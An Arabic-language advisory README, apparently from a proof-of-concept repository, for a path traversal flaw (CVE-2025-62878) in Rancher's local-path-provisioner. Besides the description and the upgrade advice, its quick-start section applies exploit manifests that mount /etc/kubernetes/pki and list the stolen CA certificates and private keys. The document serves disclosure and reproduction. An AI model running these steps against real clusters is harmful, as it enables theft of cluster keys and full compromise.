CVE-2025-62878: ثغرة اجتياز المسار في Local Path Provisioner
نظرة عامة
| العنصر | القيمة |
|---|
| CVE ID | CVE-2025-62878 |
| GHSA ID | GHSA-jr3w-9vfr-c746 |
| الخطورة | حرجة (CVSS 10.0) |
| CWE | CWE-23 (اجتياز المسار النسبي) |
| المكوّن المتأثر | rancher/local-path-provisioner |
| الإصدارات المتأثرة | v0.0.27 ~ v0.0.32 |
| الإصدارات المُصلَحة | v0.0.33+ |
وصف الثغرة
توجد ثغرة اجتياز مسار في معامل pathPattern الخاص بـ StorageClass. يمكن لمستخدم خبيث التلاعب بـ pathPattern باستخدام عناصر مسار نسبية (مثل ../) لإنشاء PersistentVolumes تشير إلى مواقع عشوائية على العقدة المضيفة، متجاوزًا قيد الدليل الأساسي المُعدّ.
يتيح ذلك للمهاجمين:
- الوصول إلى ملفات حساسة على المضيف (مثل
/etc/kubernetes/pki/)
- الكتابة فوق ملفات النظام الحرجة
- تحقيق اختراق كامل للكتلة عبر سرقة المفاتيح الخاصة لشهادة Kubernetes CA
الإصدارات المتأثرة (مُتحقَّق منها)
ملاحظة: يذكر التقرير الرسمي على GitHub Advisory أن الإصدارات "< 0.0.34" متأثرة، لكن اختباراتنا تؤكد:
- v0.0.33 مُصلَح بالفعل
- v0.0.26 والإصدارات الأقدم غير متأثرة (ميزة pathPattern غير موجودة)
- النطاق المتأثر الفعلي: v0.0.27 <= الإصدار <= v0.0.32
الجدول الزمني
| الحدث | التاريخ |
|---|
| ظهور ميزة pathPattern | 2024-05-26 (الالتزام af85381) |
| أول إصدار قابل للاستغلال (v0.0.27) | 2024-05-29 |
إعادة الإنتاج
انظر دليل exploit/ للحصول على خطوات ونصوص إعادة الإنتاج التفصيلية.
بدء سريع
# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml
# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml
# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki
kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys
المعالجة
قم بالترقية إلى الإصدار v0.0.33 أو أحدث:
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml
المراجع